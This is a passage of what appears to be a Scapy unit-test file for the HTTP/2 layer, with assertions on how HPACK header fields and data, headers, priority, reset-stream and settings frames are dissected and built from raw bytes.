'h2.HPackZString.huffman_decode(*h2.HPackZString.huffman_conv2bitstring(b"\\xdeT"))') +) + ++ HTTP/2 HPackStrLenField Test Suite + += HTTP/2 HPackStrLenField.m2i +~ http2 hpack field hpackstrlenfield + +f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type') +class TrivialPacket(Packet): + name = 'Trivial Packet' + fields_desc = [ + IntField('type', None), + IntField('len', None), + f + ] + +s = f.m2i(TrivialPacket(type=0, len=4), b'Test') +assert(isinstance(s, h2.HPackLiteralString)) +assert(s.origin() == 'Test') + +s = f.m2i(TrivialPacket(type=1, len=3), b"\xdeT'") +assert(isinstance(s, h2.HPackZString)) +assert(s.origin() == 'Test') + += HTTP/2 HPackStrLenField.any2i +~ http2 hpack field hpackstrlenfield + +f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type') +class TrivialPacket(Packet): + name = 'Trivial Packet' + fields_desc = [ + IntField('type', None), + IntField('len', None), + f + ] + +s = f.any2i(TrivialPacket(type=0, len=4), b'Test') +assert(isinstance(s, h2.HPackLiteralString)) +assert(s.origin() == 'Test') + +s = f.any2i(TrivialPacket(type=1, len=3), b"\xdeT'") +assert(isinstance(s, h2.HPackZString)) +assert(s.origin() == 'Test') + +s = h2.HPackLiteralString('Test') +s2 = f.any2i(TrivialPacket(type=0, len=4), s) +assert(s.origin() == s2.origin()) + +s = h2.HPackZString('Test') +s2 = f.any2i(TrivialPacket(type=1, len=3), s) +assert(s.origin() == s2.origin()) + +s = h2.HPackLiteralString('Test') +s2 = f.any2i(None, s) +assert(s.origin() == s2.origin()) + +s = h2.HPackZString('Test') +s2 = f.any2i(None, s) +assert(s.origin() == s2.origin()) + +# Verifies that one can fuzz +s = h2.HPackLiteralString('Test') +s2 = f.any2i(TrivialPacket(type=1, len=1), s) +assert(s.origin() == s2.origin()) + += HTTP/2 HPackStrLenField.i2m +~ http2 hpack field hpackstrlenfield + +f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type') + +s = b'Test' +s2 = f.i2m(None, h2.HPackLiteralString(s)) +assert(s == s2) + +s = b'Test' +s2 = f.i2m(None, h2.HPackZString(s)) +assert(s2 == b"\xdeT'") + += HTTP/2 HPackStrLenField.addfield +~ http2 hpack field hpackstrlenfield + +f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type') + +s = b'Test' +s2 = f.addfield(None, b'Toto', h2.HPackLiteralString(s)) +assert(b'Toto' + s == s2) + +s = b'Test' +s2 = f.addfield(None, b'Toto', h2.HPackZString(s)) +assert(s2 == b"Toto\xdeT'") + += HTTP/2 HPackStrLenField.getfield +~ http2 hpack field hpackstrlenfield + +f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type') +class TrivialPacket(Packet): + name = 'Trivial Packet' + fields_desc = [ + IntField('type', None), + IntField('len', None), + f + ] + +r = f.getfield(TrivialPacket(type=0, len=4), b'TestToto') +assert(isinstance(r, tuple)) +assert(r[0] == b'Toto') +assert(isinstance(r[1], h2.HPackLiteralString)) +assert(r[1].origin() == 'Test') + +r = f.getfield(TrivialPacket(type=1, len=3), b"\xdeT'Toto") +assert(isinstance(r, tuple)) +assert(r[0] == b'Toto') +assert(isinstance(r[1], h2.HPackZString)) +assert(r[1].origin() == 'Test') + += HTTP/2 HPackStrLenField.i2h / i2repr +~ http2 hpack field hpackstrlenfield + +f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type') + +s = b'Test' +assert(f.i2h(None, h2.HPackLiteralString(s)) == 'HPackLiteralString(Test)') +assert(f.i2repr(None, h2.HPackLiteralString(s)) == repr('HPackLiteralString(Test)')) + +assert(f.i2h(None, h2.HPackZString(s)) == 'HPackZString(Test)') +assert(f.i2repr(None, h2.HPackZString(s)) == repr('HPackZString(Test)')) + += HTTP/2 HPackStrLenField.i2len +~ http2 hpack field hpackstrlenfield + +f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type') + +s = b'Test' +assert(f.i2len(None, h2.HPackLiteralString(s)) == 4) +assert(f.i2len(None, h2.HPackZString(s)) == 3) + ++ HTTP/2 HPackMagicBitField Test Suite +# Magic bits are not supposed to be modified and if they are anyway, they must +# be assigned the magic|default value only... + += HTTP/2 HPackMagicBitField.addfield +~ http2 hpack field hpackmagicbitfield + +f = h2.HPackMagicBitField('value', 3, 2) +r = f.addfield(None, b'Toto', 3) +assert(isinstance(r, tuple)) +assert(r[0] == b'Toto') +assert(r[1] == 2) +assert(r[2] == 3) + +r = f.addfield(None, (b'Toto', 2, 1) , 3) +assert(isinstance(r, tuple)) +assert(r[0] == b'Toto') +assert(r[1] == 4) +assert(r[2] == 7) + +assert(expect_exception(AssertionError, 'f.addfield(None, "toto", 2)')) + += HTTP/2 HPackMagicBitField.getfield +~ http2 hpack field hpackmagicbitfield + +f = h2.HPackMagicBitField('value', 3, 2) + +r = f.getfield(None, b'\xc0') +assert(isinstance(r, tuple)) +assert(len(r) == 2) +assert(isinstance(r[0], tuple)) +assert(len(r[0]) == 2) +assert(r[0][0] == b'\xc0') +assert(r[0][1] == 2) +assert(r[1] == 3) + +r = f.getfield(None, (b'\x03', 6)) +assert(isinstance(r, tuple)) +assert(len(r) == 2) +assert(isinstance(r[0], bytes)) +assert(r[0] == b'') +assert(r[1] == 3) + +expect_exception(AssertionError, 'f.getfield(None, b"\\x80")') + += HTTP/2 HPackMagicBitField.h2i +~ http2 hpack field hpackmagicbitfield + +f = h2.HPackMagicBitField('value', 3, 2) +assert(f.h2i(None, 3) == 3) +expect_exception(AssertionError, 'f.h2i(None, 2)') + += HTTP/2 HPackMagicBitField.m2i +~ http2 hpack field hpackmagicbitfield + +f = h2.HPackMagicBitField('value', 3, 2) +assert(f.m2i(None, 3) == 3) +expect_exception(AssertionError, 'f.m2i(None, 2)') + += HTTP/2 HPackMagicBitField.i2m +~ http2 hpack field hpackmagicbitfield + +f = h2.HPackMagicBitField('value', 3, 2) +assert(f.i2m(None, 3) == 3) +expect_exception(AssertionError, 'f.i2m(None, 2)') + += HTTP/2 HPackMagicBitField.any2i +~ http2 hpack field hpackmagicbitfield + +f = h2.HPackMagicBitField('value', 3, 2) +assert(f.any2i(None, 3) == 3) +expect_exception(AssertionError, 'f.any2i(None, 2)') + ++ HTTP/2 HPackHdrString Test Suite + += HTTP/2 Dissect HPackHdrString +~ http2 pack dissect hpackhdrstring + +p = h2.HPackHdrString(b'\x04Test') +assert(p.type == 0) +assert(p.len == 4) +assert(isinstance(p.getfieldval('data'), h2.HPackLiteralString)) +assert(p.getfieldval('data').origin() == 'Test') + +p = h2.HPackHdrString(b"\x83\xdeT'") +assert(p.type == 1) +assert(p.len == 3) +assert(isinstance(p.getfieldval('data'), h2.HPackZString)) +assert(p.getfieldval('data').origin() == 'Test') + += HTTP/2 Build HPackHdrString +~ http2 hpack build hpackhdrstring + +p = h2.HPackHdrString(data=h2.HPackLiteralString('Test')) +assert(raw(p) == b'\x04Test') + +p = h2.HPackHdrString(data=h2.HPackZString('Test')) +assert(raw(p) == b"\x83\xdeT'") + +#Fuzzing-able tests +p = h2.HPackHdrString(type=1, len=3, data=h2.HPackLiteralString('Test')) +assert(raw(p) == b'\x83Test') + ++ HTTP/2 HPackIndexedHdr Test Suite + += HTTP/2 Dissect HPackIndexedHdr +~ http2 hpack dissect hpackindexedhdr + +p = h2.HPackIndexedHdr(b'\x80') +assert(p.magic == 1) +assert(p.index == 0) + +p = h2.HPackIndexedHdr(b'\xFF\x00') +assert(p.magic == 1) +assert(p.index == 127) + += HTTP/2 Build HPackIndexedHdr +~ http2 hpack build hpackindexedhdr + +p = h2.HPackIndexedHdr(index=0) +assert(raw(p) == b'\x80') + +p = h2.HPackIndexedHdr(index=127) +assert(raw(p) == b'\xFF\x00') + ++ HTTP/2 HPackLitHdrFldWithIncrIndexing Test Suite + += HTTP/2 Dissect HPackLitHdrFldWithIncrIndexing without indexed name +~ http2 hpack dissect hpacklithdrfldwithincrindexing + +p = h2.HPackLitHdrFldWithIncrIndexing(b'\x40\x04Test\x04Toto') +assert(p.magic == 1) +assert(p.index == 0) +assert(isinstance(p.hdr_name, h2.HPackHdrString)) +assert(p.hdr_name.type == 0) +assert(p.hdr_name.len == 4) +assert(p.hdr_name.getfieldval('data').origin() == 'Test') +assert(isinstance(p.hdr_value, h2.HPackHdrString)) +assert(p.hdr_value.type == 0) +assert(p.hdr_value.len == 4) +assert(p.hdr_value.getfieldval('data').origin() == 'Toto') + += HTTP/2 Dissect HPackLitHdrFldWithIncrIndexing with indexed name +~ http2 hpack dissect hpacklithdrfldwithincrindexing + +p = h2.HPackLitHdrFldWithIncrIndexing(b'\x41\x04Toto') +assert(p.magic == 1) +assert(p.index == 1) +assert(p.hdr_name is None) +assert(isinstance(p.hdr_value, h2.HPackHdrString)) +assert(p.hdr_value.type == 0) +assert(p.hdr_value.len == 4) +assert(p.hdr_value.getfieldval('data').origin() == 'Toto') + + += HTTP/2 Build HPackLitHdrFldWithIncrIndexing without indexed name +~ http2 hpack build hpacklithdrfldwithincrindexing + +p = h2.HPackLitHdrFldWithIncrIndexing( + hdr_name=h2.HPackHdrString(data=h2.HPackLiteralString('Test')), + hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto')) +) +assert(raw(p) == b'\x40\x04Test\x04Toto') + += HTTP/2 Build HPackLitHdrFldWithIncrIndexing with indexed name +~ http2 hpack build hpacklithdrfldwithincrindexing + +p = h2.HPackLitHdrFldWithIncrIndexing( + index=1, + hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto')) +) +assert(raw(p) == b'\x41\x04Toto') + ++ HTTP/2 HPackLitHdrFldWithoutIndexing Test Suite + += HTTP/2 Dissect HPackLitHdrFldWithoutIndexing : don't index and no index +~ http2 hpack dissect hpacklithdrfldwithoutindexing + +p = h2.HPackLitHdrFldWithoutIndexing(b'\x00\x04Test\x04Toto') +assert(p.magic == 0) +assert(p.never_index == 0) +assert(p.index == 0) +assert(isinstance(p.hdr_name, h2.HPackHdrString)) +assert(p.hdr_name.type == 0) +assert(p.hdr_name.len == 4) +assert(isinstance(p.hdr_name.getfieldval('data'), h2.HPackLiteralString)) +assert(p.hdr_name.getfieldval('data').origin() == 'Test') +assert(isinstance(p.hdr_value, h2.HPackHdrString)) +assert(p.hdr_value.type == 0) +assert(p.hdr_value.len == 4) +assert(isinstance(p.hdr_value.getfieldval('data'), h2.HPackLiteralString)) +assert(p.hdr_value.getfieldval('data').origin() == 'Toto') + += HTTP/2 Dissect HPackLitHdrFldWithoutIndexing : never index index and no index +~ http2 hpack dissect hpacklithdrfldwithoutindexing + +p = h2.HPackLitHdrFldWithoutIndexing(b'\x10\x04Test\x04Toto') +assert(p.magic == 0) +assert(p.never_index == 1) +assert(p.index == 0) +assert(isinstance(p.hdr_name, h2.HPackHdrString)) +assert(p.hdr_name.type == 0) +assert(p.hdr_name.len == 4) +assert(isinstance(p.hdr_name.getfieldval('data'), h2.HPackLiteralString)) +assert(p.hdr_name.getfieldval('data').origin() == 'Test') +assert(isinstance(p.hdr_value, h2.HPackHdrString)) +assert(p.hdr_value.type == 0) +assert(p.hdr_value.len == 4) +assert(isinstance(p.hdr_value.getfieldval('data'), h2.HPackLiteralString)) +assert(p.hdr_value.getfieldval('data').origin() == 'Toto') + += HTTP/2 Dissect HPackLitHdrFldWithoutIndexing : never index and indexed name +~ http2 hpack dissect hpacklithdrfldwithoutindexing + +p = h2.HPackLitHdrFldWithoutIndexing(b'\x11\x04Toto') +assert(p.magic == 0) +assert(p.never_index == 1) +assert(p.index == 1) +assert(p.hdr_name is None) +assert(isinstance(p.hdr_value, h2.HPackHdrString)) +assert(p.hdr_value.type == 0) +assert(p.hdr_value.len == 4) +assert(isinstance(p.hdr_value.getfieldval('data'), h2.HPackLiteralString)) +assert(p.hdr_value.getfieldval('data').origin() == 'Toto') + += HTTP/2 Build HPackLitHdrFldWithoutIndexing : don't index and no index +~ http2 hpack build hpacklithdrfldwithoutindexing + +p = h2.HPackLitHdrFldWithoutIndexing( + hdr_name=h2.HPackHdrString(data=h2.HPackLiteralString('Test')), + hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto')) +) +assert(raw(p) == b'\x00\x04Test\x04Toto') + += HTTP/2 Build HPackLitHdrFldWithoutIndexing : never index index and no index +~ http2 hpack build hpacklithdrfldwithoutindexing + +p = h2.HPackLitHdrFldWithoutIndexing( + never_index=1, + hdr_name=h2.HPackHdrString(data=h2.HPackLiteralString('Test')), + hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto')) +) +assert(raw(p) == b'\x10\x04Test\x04Toto') + += HTTP/2 Build HPackLitHdrFldWithoutIndexing : never index and indexed name +~ http2 hpack build hpacklithdrfldwithoutindexing + +p = h2.HPackLitHdrFldWithoutIndexing( + never_index=1, + index=1, + hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto')) +) +assert(raw(p) == b'\x11\x04Toto') + ++ HTTP/2 HPackDynamicSizeUpdate Test Suite + += HTTP/2 Dissect HPackDynamicSizeUpdate +~ http2 hpack dissect hpackdynamicsizeupdate + +p = h2.HPackDynamicSizeUpdate(b'\x25') +assert(p.magic == 1) +assert(p.max_size == 5) +p = h2.HPackDynamicSizeUpdate(b'\x3F\x00') +assert(p.magic == 1) +assert(p.max_size == 31) + += HTTP/2 Build HPackDynamicSizeUpdate +~ http2 hpack build hpackdynamicsizeupdate + +p = h2.HPackDynamicSizeUpdate(max_size=5) +assert(raw(p) == b'\x25') +p = h2.HPackDynamicSizeUpdate(max_size=31) +assert(raw(p) == b'\x3F\x00') + ++ HTTP/2 Data Frame Test Suite + += HTTP/2 Dissect Data Frame: Simple data frame +~ http2 frame dissect data + +pkt = h2.H2Frame(b'\x00\x00\x04\x00\x00\x00\x00\x00\x01ABCD') +assert(pkt.type == 0) +assert(pkt.len == 4) +assert(len(pkt.flags) == 0) +assert(pkt.reserved == 0) +assert(pkt.stream_id == 1) +assert(isinstance(pkt.payload, h2.H2DataFrame)) +assert(pkt[h2.H2DataFrame]) +assert(pkt.payload.data == b'ABCD') +assert(isinstance(pkt.payload.payload, scapy.packet.NoPayload)) + += HTTP/2 Build Data Frame: Simple data frame +~ http2 frame build data + +pkt = h2.H2Frame(stream_id = 1)/h2.H2DataFrame(data='ABCD') +assert(raw(pkt) == b'\x00\x00\x04\x00\x00\x00\x00\x00\x01ABCD') +try: + pkt.show2(dump=True) + assert(True) +except Exception: + assert(False) + += HTTP/2 Dissect Data Frame: Simple data frame with padding +~ http2 frame dissect data + +pkt = h2.H2Frame(b'\x00\x00\r\x00\x08\x00\x00\x00\x01\x08ABCD\x00\x00\x00\x00\x00\x00\x00\x00') #Padded data frame +assert(pkt.type == 0) +assert(pkt.len == 13) +assert(len(pkt.flags) == 1) +assert('P' in pkt.flags) +assert(pkt.reserved == 0) +assert(pkt.stream_id == 1) +assert(isinstance(pkt.payload, h2.H2PaddedDataFrame)) +assert(pkt[h2.H2PaddedDataFrame]) +assert(pkt.payload.padlen == 8) +assert(pkt.payload.data == b'ABCD') +assert(pkt.payload.padding == b'\x00'*8) +assert(flags_bit_pattern.search(pkt.show(dump=True)) is None) +assert(isinstance(pkt.payload.payload, scapy.packet.NoPayload)) + += HTTP/2 Build Data Frame: Simple data frame with padding +~ http2 frame build data + +pkt = h2.H2Frame(flags = {'P'}, stream_id = 1)/h2.H2PaddedDataFrame(data='ABCD', padding=b'\x00'*8) +assert(raw(pkt) == b'\x00\x00\r\x00\x08\x00\x00\x00\x01\x08ABCD\x00\x00\x00\x00\x00\x00\x00\x00') +try: + pkt.show2(dump=True) + assert(True) +except Exception: + assert(False) + += HTTP/2 Dissect Data Frame: Simple data frame with padding and end stream flag +~ http2 frame dissect data + +pkt = h2.H2Frame(b'\x00\x00\r\x00\t\x00\x00\x00\x01\x08ABCD\x00\x00\x00\x00\x00\x00\x00\x00') #Padded data frame with end stream flag +assert(pkt.type == 0) +assert(pkt.len == 13) +assert(len(pkt.flags) == 2) +assert('P' in pkt.flags) +assert('ES' in pkt.flags) +assert(pkt.reserved == 0) +assert(pkt.stream_id == 1) +assert(isinstance(pkt.payload, h2.H2PaddedDataFrame)) +assert(pkt[h2.H2PaddedDataFrame]) +assert(pkt.payload.padlen == 8) +assert(pkt.payload.data == b'ABCD') +assert(pkt.payload.padding == b'\x00'*8) +assert(flags_bit_pattern.search(pkt.show(dump=True)) is None) +assert(isinstance(pkt.payload.payload, scapy.packet.NoPayload)) + += HTTP/2 Build Data Frame: Simple data frame with padding and end stream flag +~ http2 frame build data + +pkt = h2.H2Frame(flags = {'P', 'ES'}, stream_id=1)/h2.H2PaddedDataFrame(data='ABCD', padding=b'\x00'*8) +assert(raw(pkt) == b'\x00\x00\r\x00\t\x00\x00\x00\x01\x08ABCD\x00\x00\x00\x00\x00\x00\x00\x00') +try: + pkt.show2(dump=True) + assert(True) +except Exception: + assert(False) + ++ HTTP/2 Headers Frame Test Suite + += HTTP/2 Dissect Headers Frame: Simple header frame +~ http2 frame dissect headers + +pkt = h2.H2Frame(b'\x00\x00\x0e\x01\x00\x00\x00\x00\x01\x88\x0f\x10\ntext/plain') #Header frame +assert(pkt.type == 1) +assert(pkt.len == 14) +assert(len(pkt.flags) == 0) +assert(pkt.reserved == 0) +assert(pkt.stream_id == 1) +assert(isinstance(pkt.payload, h2.H2HeadersFrame)) +assert(pkt[h2.H2HeadersFrame]) +hf = pkt[h2.H2HeadersFrame] +assert(len(hf.hdrs) == 2) +assert(isinstance(hf.hdrs[0], h2.HPackIndexedHdr)) +assert(hf.hdrs[0].magic == 1) +assert(hf.hdrs[0].index == 8) +assert(isinstance(hf.hdrs[1], h2.HPackLitHdrFldWithoutIndexing)) +assert(hf.hdrs[1].magic == 0) +assert(hf.hdrs[1].never_index == 0) +assert(hf.hdrs[1].index == 31) +assert(hf.hdrs[1].hdr_name is None) +assert(expect_exception(AttributeError, 'hf.hdrs[1].non_existant')) +assert(isinstance(hf.hdrs[1].hdr_value, h2.HPackHdrString)) +s = hf.hdrs[1].hdr_value +assert(s.type == 0) +assert(s.len == 10) +assert(s.getfieldval('data').origin() == 'text/plain') +assert(isinstance(hf.payload, scapy.packet.NoPayload)) + += HTTP/2 Build Headers Frame: Simple header frame +~ http2 frame build headers + +p = h2.H2Frame(stream_id=1)/h2.H2HeadersFrame(hdrs=[ + h2.HPackIndexedHdr(index=8), + h2.HPackLitHdrFldWithoutIndexing( + index=31, + hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('text/plain')) + ) + ] +) +assert(raw(p) == b'\x00\x00\x0e\x01\x00\x00\x00\x00\x01\x88\x0f\x10\ntext/plain') + += HTTP/2 Dissect Headers Frame: Header frame with padding +~ http2 frame dissect headers + +pkt = h2.H2Frame(b'\x00\x00\x17\x01\x08\x00\x00\x00\x01\x08\x88\x0f\x10\ntext/plain\x00\x00\x00\x00\x00\x00\x00\x00') #Header frame with padding +assert(pkt.type == 1) +assert(pkt.len == 23) +assert(len(pkt.flags) == 1) +assert('P' in pkt.flags) +assert(pkt.reserved == 0) +assert(pkt.stream_id == 1) +assert(isinstance(pkt.payload, h2.H2PaddedHeadersFrame)) +assert(flags_bit_pattern.search(pkt.show(dump=True)) is None) +assert(pkt[h2.H2PaddedHeadersFrame]) +hf = pkt[h2.H2PaddedHeadersFrame] +assert(hf.padlen == 8) +assert(hf.padding == b'\x00' * 8) +assert(len(hf.hdrs) == 2) +assert(isinstance(hf.hdrs[0], h2.HPackIndexedHdr)) +assert(hf.hdrs[0].magic == 1) +assert(hf.hdrs[0].index == 8) +assert(isinstance(hf.hdrs[1], h2.HPackLitHdrFldWithoutIndexing)) +assert(hf.hdrs[1].magic == 0) +assert(hf.hdrs[1].never_index == 0) +assert(hf.hdrs[1].index == 31) +assert(hf.hdrs[1].hdr_name is None) +assert(expect_exception(AttributeError, 'hf.hdrs[1].non_existant')) +assert(isinstance(hf.hdrs[1].hdr_value, h2.HPackHdrString)) +s = hf.hdrs[1].hdr_value +assert(s.type == 0) +assert(s.len == 10) +assert(s.getfieldval('data').origin() == 'text/plain') +assert(isinstance(hf.payload, scapy.packet.NoPayload)) + += HTTP/2 Build Headers Frame: Header frame with padding +~ http2 frame build headers + +p = h2.H2Frame(flags={'P'}, stream_id=1)/h2.H2PaddedHeadersFrame( + hdrs=[ + h2.HPackIndexedHdr(index=8), + h2.HPackLitHdrFldWithoutIndexing( + index=31, + hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('text/plain')) + ) + ], + padding=b'\x00'*8, +) +assert(raw(p) == b'\x00\x00\x17\x01\x08\x00\x00\x00\x01\x08\x88\x0f\x10\ntext/plain\x00\x00\x00\x00\x00\x00\x00\x00') + += HTTP/2 Dissect Headers Frame: Header frame with priority +~ http2 frame dissect headers + +pkt = h2.H2Frame(b'\x00\x00\x13\x01 \x00\x00\x00\x01\x00\x00\x00\x02d\x88\x0f\x10\ntext/plain') #Header frame with priority +assert(pkt.type == 1) +assert(pkt.len == 19) +assert(len(pkt.flags) == 1) +assert('+' in pkt.flags) +assert(pkt.reserved == 0) +assert(pkt.stream_id == 1) +assert(isinstance(pkt.payload, h2.H2PriorityHeadersFrame)) +assert(flags_bit_pattern.search(pkt.show(dump=True)) is None) +assert(pkt[h2.H2PriorityHeadersFrame]) +hf = pkt[h2.H2PriorityHeadersFrame] +assert(hf.exclusive == 0) +assert(hf.stream_dependency == 2) +assert(hf.weight == 100) +assert(len(hf.hdrs) == 2) +assert(isinstance(hf.hdrs[0], h2.HPackIndexedHdr)) +assert(hf.hdrs[0].magic == 1) +assert(hf.hdrs[0].index == 8) +assert(isinstance(hf.hdrs[1], h2.HPackLitHdrFldWithoutIndexing)) +assert(hf.hdrs[1].magic == 0) +assert(hf.hdrs[1].never_index == 0) +assert(hf.hdrs[1].index == 31) +assert(hf.hdrs[1].hdr_name is None) +assert(expect_exception(AttributeError, 'hf.hdrs[1].non_existant')) +assert(isinstance(hf.hdrs[1].hdr_value, h2.HPackHdrString)) +s = hf.hdrs[1].hdr_value +assert(s.type == 0) +assert(s.len == 10) +assert(s.getfieldval('data').origin() == 'text/plain') +assert(isinstance(hf.payload, scapy.packet.NoPayload)) + += HTTP/2 Build Headers Frame: Header frame with priority +~ http2 frame build headers + +p = h2.H2Frame(flags={'+'}, stream_id=1)/h2.H2PriorityHeadersFrame( + exclusive=0, + stream_dependency=2, + weight=100, + hdrs=[ + h2.HPackIndexedHdr(index=8), + h2.HPackLitHdrFldWithoutIndexing( + index=31, + hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('text/plain')) + ) + ] +) +assert(raw(p) == b'\x00\x00\x13\x01 \x00\x00\x00\x01\x00\x00\x00\x02d\x88\x0f\x10\ntext/plain') + += HTTP/2 Dissect Headers Frame: Header frame with priority and padding and flags +~ http2 frame dissect headers + +pkt = h2.H2Frame(b'\x00\x00\x1c\x01-\x00\x00\x00\x01\x08\x00\x00\x00\x02d\x88\x0f\x10\ntext/plain\x00\x00\x00\x00\x00\x00\x00\x00') #Header frame with priority and padding and flags ES|EH +assert(pkt.type == 1) +assert(pkt.len == 28) +assert(len(pkt.flags) == 4) +assert('+' in pkt.flags) +assert('P' in pkt.flags) +assert('ES' in pkt.flags) +assert('EH' in pkt.flags) +assert(pkt.reserved == 0) +assert(pkt.stream_id == 1) +assert(isinstance(pkt.payload, h2.H2PaddedPriorityHeadersFrame)) +assert(flags_bit_pattern.search(pkt.show(dump=True)) is None) +assert(pkt[h2.H2PaddedPriorityHeadersFrame]) +hf = pkt[h2.H2PaddedPriorityHeadersFrame] +assert(hf.padlen == 8) +assert(hf.padding == b'\x00' * 8) +assert(hf.exclusive == 0) +assert(hf.stream_dependency == 2) +assert(hf.weight == 100) +assert(len(hf.hdrs) == 2) +assert(isinstance(hf.hdrs[0], h2.HPackIndexedHdr)) +assert(hf.hdrs[0].magic == 1) +assert(hf.hdrs[0].index == 8) +assert(isinstance(hf.hdrs[1], h2.HPackLitHdrFldWithoutIndexing)) +assert(hf.hdrs[1].magic == 0) +assert(hf.hdrs[1].never_index == 0) +assert(hf.hdrs[1].index == 31) +assert(hf.hdrs[1].hdr_name is None) +assert(expect_exception(AttributeError, 'hf.hdrs[1].non_existant')) +assert(isinstance(hf.hdrs[1].hdr_value, h2.HPackHdrString)) +s = hf.hdrs[1].hdr_value +assert(s.type == 0) +assert(s.len == 10) +assert(s.getfieldval('data').origin() == 'text/plain') +assert(isinstance(hf.payload, scapy.packet.NoPayload)) + += HTTP/2 Build Headers Frame: Header frame with priority and padding and flags +~ http2 frame build headers + +p = h2.H2Frame(flags={'P', '+', 'ES', 'EH'}, stream_id=1)/h2.H2PaddedPriorityHeadersFrame( + exclusive=0, + stream_dependency=2, + weight=100, + padding=b'\x00'*8, + hdrs=[ + h2.HPackIndexedHdr(index=8), + h2.HPackLitHdrFldWithoutIndexing( + index=31, + hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('text/plain')) + ) + ] +) + ++ HTTP/2 Priority Frame Test Suite + += HTTP/2 Dissect Priority Frame +~ http2 frame dissect priority + +pkt = h2.H2Frame(b'\x00\x00\x05\x02\x00\x00\x00\x00\x03\x80\x00\x00\x01d') +assert(pkt.type == 2) +assert(pkt.len == 5) +assert(len(pkt.flags) == 0) +assert(pkt.reserved == 0) +assert(pkt.stream_id == 3) +assert(isinstance(pkt.payload, h2.H2PriorityFrame)) +assert(pkt[h2.H2PriorityFrame]) +pp = pkt[h2.H2PriorityFrame] +assert(pp.stream_dependency == 1) +assert(pp.exclusive == 1) +assert(pp.weight == 100) + += HTTP/2 Build Priority Frame +~ http2 frame build priority + +p = h2.H2Frame(stream_id=3)/h2.H2PriorityFrame( + exclusive=1, + stream_dependency=1, + weight=100 +) +assert(raw(p) == b'\x00\x00\x05\x02\x00\x00\x00\x00\x03\x80\x00\x00\x01d') + ++ HTTP/2 Reset Stream Frame Test Suite + += HTTP/2 Dissect Reset Stream Frame: Protocol Error +~ http2 frame dissect rststream + +pkt = h2.H2Frame(b'\x00\x00\x04\x03\x00\x00\x00\x00\x01\x00\x00\x00\x01') #Reset stream with protocol error +assert(pkt.type == 3) +assert(pkt.len == 4) +assert(len(pkt.flags) == 0) +assert(pkt.reserved == 0) +assert(pkt.stream_id == 1) +assert(isinstance(pkt.payload, h2.H2ResetFrame)) +assert(pkt[h2.H2ResetFrame]) +rf = pkt[h2.H2ResetFrame] +assert(rf.error == 1) +assert(isinstance(rf.payload, scapy.packet.NoPayload)) + += HTTP/2 Build Reset Stream Frame: Protocol Error +~ http2 frame build rststream + +p = h2.H2Frame(stream_id=1)/h2.H2ResetFrame(error='Protocol error') +assert(raw(p) == b'\x00\x00\x04\x03\x00\x00\x00\x00\x01\x00\x00\x00\x01') + +p = h2.H2Frame(stream_id=1)/h2.H2ResetFrame(error=1) +assert(raw(p) == b'\x00\x00\x04\x03\x00\x00\x00\x00\x01\x00\x00\x00\x01') + += HTTP/2 Dissect Reset Stream Frame: Raw 123456 error +~ http2 frame dissect rststream + +pkt = h2.H2Frame(b'\x00\x00\x04\x03\x00\x00\x00\x00\x01\x00\x01\xe2@') #Reset stream with raw error +assert(pkt.type == 3) +assert(pkt.len == 4) +assert(len(pkt.flags) == 0) +assert(pkt.reserved == 0) +assert(pkt.stream_id == 1) +assert(isinstance(pkt.payload, h2.H2ResetFrame)) +assert(pkt[h2.H2ResetFrame]) +rf = pkt[h2.H2ResetFrame] +assert(rf.error == 123456) +assert(isinstance(rf.payload, scapy.packet.NoPayload)) + += HTTP/2 Dissect Reset Stream Frame: Raw 123456 error +~ http2 frame dissect rststream + +p = h2.H2Frame(stream_id=1)/h2.H2ResetFrame(error=123456) +assert(raw(p) == b'\x00\x00\x04\x03\x00\x00\x00\x00\x01\x00\x01\xe2@') + ++ HTTP/2 Settings Frame Test Suite + += HTTP/2 Dissect Settings Frame: Settings Frame +~ http2 frame dissect settings + +pkt = h2.H2Frame(b'\x00\x00$\x04\x00\x00\x00\x00\x00\x00\x01\x07[\xcd\x15\x00\x02\x00\x00\x00\x01\x00\x03\x00\x00\x00{\x00\x04\x00\x12\xd6\x87\x00\x05\x00\x01\xe2@\x00\x06\x00\x00\x00{') #Settings frame +assert(pkt.type == 4) +assert(pkt.len == 36) +assert(len(pkt.flags) == 0) +assert(pkt.reserved == 0) +assert(pkt.stream_id == 0) +assert(isinstance(pkt.payload, h2.H2SettingsFrame)) +assert(pkt[h2.H2SettingsFrame]) +sf = pkt[h2.H2SettingsFrame] +assert(len(sf.settings) == 6) +assert(isinstance(sf.settings[0], h2.H2Setting)) +assert(sf.settings[0].id == 1) +assert(sf.settings[0].value == 123456789) +assert(isinstance(sf.settings[1], h2.H2Setting)) +assert(sf.settings[1].id == 2) +assert(sf.settings[1].value == 1) +assert(isinstance(sf.settings[2], h2.H2Setting)) +assert(sf.settings[2].id == 3) +assert(sf.settings[2].value == 123) +assert(isinstance(sf.settings[3], h2.H2Setting)) +assert(sf.settings[3].id == 4) +assert(sf.settings[3].value == 1234567) +assert(isinstance(sf.settings[4], h2.H2Setting)) +assert(sf.settings[4].id == 5) +assert(sf.settings[4].value == 123456) +assert(isinstance(sf.settings[5], h2.H2Setting)) +assert(sf.settings[5].id == 6) +assert(sf.settings[5].value == 123) +assert(isinstance(sf.payload, scapy.packet.NoPayload)) + += HTTP/2 Build Settings Frame: Settings Frame +~ http2 frame build settings + +p = h2.H2Frame()/h2.H2SettingsFrame(settings=[ + h2.H2Setting(id='Header table size',value=123456789), 